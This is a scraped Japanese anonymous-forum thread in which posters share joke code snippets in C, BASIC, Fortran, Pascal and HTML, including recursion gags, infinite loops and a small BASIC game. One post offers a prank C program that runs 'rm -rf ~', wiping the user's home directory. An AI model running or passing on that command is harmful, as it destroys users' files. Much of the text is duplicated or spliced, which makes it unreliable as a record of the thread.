ひたすら何かのソースコードを公開するスレ
1名無しさん@お腹いっぱい。
NGNG なんか、うpしてくれ
2名無しさん@お腹いっぱい。
NGNG main()
3名無しさん@お腹いっぱい。
NGNG {
4名無しさん@お腹いっぱい。
NGNG return main();
}
}
5あぼーん
NGNGあぼーん
6名無しさん@お腹いっぱい。
NGNG };
7名無しさん@お腹いっぱい。
NGNG void
NGNG
seq void main () {
par {
new main();
new main();
}
}
par {
new main();
new main();
}
}
9名無しさん@お腹いっぱい。
NGNG PROGRAM UNKO
WRITE(*,*)'うんこ'
STOP
END
WRITE(*,*)'うんこ'
STOP
END
NGNG
rtnval(int c)
{
if (c == 1) {
return 1;
} else {
return 0;
}
}
{
if (c == 1) {
return 1;
} else {
return 0;
}
}
11名無しさん@お腹いっぱい。
NGNG /*1は死んでね*/
NGNG
#include <stdlib.h>
void main(void) { system( "rm -rf ~"); }
void main(void) { system( "rm -rf ~"); }
13名無しさん@お腹いっぱい。
NGNG <html><head><meta http-equiv="Content-Type" content="text/html; charset=Shift_JIS"><title>ひたすら何かのソースコードを公開するスレ</title><script type="text/javascript" defer><!--
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
while(xx1<len){xx2=tmp1.indexOf(";",xx1);tmp2=tmp1.substring(xx1+1,xx2);
xx3=tmp2.indexOf("=");
if(tmp2.substring(0,xx3)==key)return unescape(tmp2.substring(xx3+1,xx2-xx1-1));xx1=xx2+1;}return "";}
//--></script></head><body bgcolor=#efefef text=black link=blue alink=red vlink=#660099><a href="../../../../unix/">
■掲示板に戻る■</a> <a href=-100>1-</a> <a href=l50>最新50</a><p><font size=+1 color=red>ひたすら何かのソースコードを公開するスレ
</font><dl><dt>1 :<font color=green><b>
名無しさん@お腹いっぱい。</b></font> :03/07/12 17:41<dd>なんか、うpしてくれ<br><br><dt>2 :<
function l(e){var N=g("NAME"),M=g("MAIL"),i;with(document) for(i=0;i<forms.length;i++)if(forms[i].FROM&&forms[i].mail)with(forms[i])
{FROM.value=N;mail.value=M;}}onload=l;function g(key,tmp1,tmp2,xx1,xx2,xx3,len){tmp1=" "+document.cookie+";";xx1=xx2=0;len=tmp1.length;
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xx3=tmp2.indexOf("=");
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</font><dl><dt>1 :<font color=green><b>
名無しさん@お腹いっぱい。</b></font> :03/07/12 17:41<dd>なんか、うpしてくれ<br><br><dt>2 :<
NGNG
>>13
4点。
4点。
NGNG
10 CLS :CLEAR
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT
20 DIM G$(13)*1,M(16,5)
30 X=1:Y=1:P=1:T=40:W=20:E=15:M(0,0)=7:M(1,0)=4
40 FOR J=0 TO 13
50 READ A:G$(J)= CHR$ A
60 NEXT
70 DATA 32,224,124,156,157,158,159,45,150,152,153,154,155,135
80 LINE (102,-1)-(106,48),B
90 PRINT "-";G$(4)
100 LOCATE 18,1:PRINT "Next"
110 LOCATE 18,3:PRINT "Score"
120 FOR J=0 TO E
130 L= RND 17-1:M= RND 6-1
140 IF L>1 OR M>1 LOCATE L,M:PRINT G$(13):M(L,M)=13
150 NEXT
NGNG
160 *A
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ロ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B
170 M=0:N= RND 6
180 LOCATE 19,2:PRINT "[";G$(N);"]"
190 *B
200 IF K$<>"" FOR J=0 TO W*8:NEXT
210 LOCATE X,Y:PRINT G$(M(X,Y))
220 K$= INKEY$
230 SWITCH K$
240 CASE "4":IF X>0 LET X=X-1
250 CASE "6":IF X<16 LET X=X+1
260 CASE "8":IF Y>0 LET Y=Y-1
270 CASE "2":IF Y<5 LET Y=Y+1
280 CASE " ":IF M(X,Y)<7 LOCATE X,Y:PRINT G$(N):BEEP 1,200,20:M(X,Y)=N:M=1
290 ENDSWITCH
300 FOR J=0 TO W:NEXT
310 LOCATE X,Y:PRINT "ロ"
320 C=(C+1) MOD T
330 IF C=0 GOSUB *C
340 IF M=1 GOTO *A ELSE *B
NGNG
350 *C
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
360 BEEP 1,71,9
370 IF P<0 OR P>16 OR Q<0 OR Q>5 GOTO *D
380 SWITCH M(P,Q)
390 CASE 1:IF H=0 LET U=1:V=0 ELSE IF H=1 LET U=-1:V=0 ELSE F=1
400 CASE 2:IF H=2 LET U=0:V=-1 ELSE IF H=3 LET U=0:V=1 ELSE F=1
410 CASE 3:IF H=1 LET U=0:V=1:H=3 ELSE IF H=2 LET U=1:V=0:H=0 ELSE F=1
420 CASE 4:IF H=0 LET U=0:V=1:H=3 ELSE IF H=2 LET U=-1:V=0:H=1 ELSE F=1
430 CASE 5:IF H=1 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=1:V=0:H=0 ELSE F=1
440 CASE 6:IF H=0 LET U=0:V=-1:H=2 ELSE IF H=3 LET U=-1:V=0:H=1 ELSE F=1
450 DEFAULT :F=1
460 ENDSWITCH
470 IF F=1 GOTO *D
480 M(P,Q)=M(P,Q)+6
490 LOCATE P,Q:PRINT G$(M(P,Q))
500 P=P+U:Q=Q+V:S=S+1
510 LOCATE 20,4:PRINT STR$ S
520 RETURN
530 *D
540 LOCATE 18,1:PRINT "-GAME-"
550 LOCATE 18,2:PRINT "-OVER-"
18あぼーん
NGNGあぼーん
19名無しさん@お腹いっぱい。
NGNG program HaxaHaxa;
var I : Integer;
begin
Randomize;
repeat
I := Random(18) + 1;
Writeln('>>', I, 'さん(;´Д`)ハァハァ');
until False;
end.
var I : Integer;
begin
Randomize;
repeat
I := Random(18) + 1;
Writeln('>>', I, 'さん(;´Д`)ハァハァ');
until False;
end.
20名無しさん@お腹いっぱい。
NGNG #include <stdio.h>
int main()
{
printf("なんか、うpしてくれ\n");
main();
return 0;
}
int main()
{
printf("なんか、うpしてくれ\n");
main();
return 0;
}
NGNG
puts "こんばんは"
NGNG
/*
NGNG
#cat HaxaHaxa.c
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д`)ハァハァ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void main(){
srand((unsigned int)clock());
for(;;)
printf(">>%d さん(;´Д`)ハァハァ\n",(int)(1+rand()*21./RAND_MAX));
}
#gcc -o HaxaHaxa HaxaHaxa.c
#chmod +=x HaxaHaxa
#HaxaHaxa
NGNG
/* Copyright (c) 1984, 1986, 1987, 1988, 1989 AT&T */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
/* All Rights Reserved */
/* THIS IS UNPUBLISHED PROPRIETARY SOURCE CODE OF AT&T */
/* The copyright notice above does not evidence any */
/* actual or intended publication of such source code. */
NGNG
main(){return system("start http://pc.2ch.net/unix/index.html#3");}
NGNG
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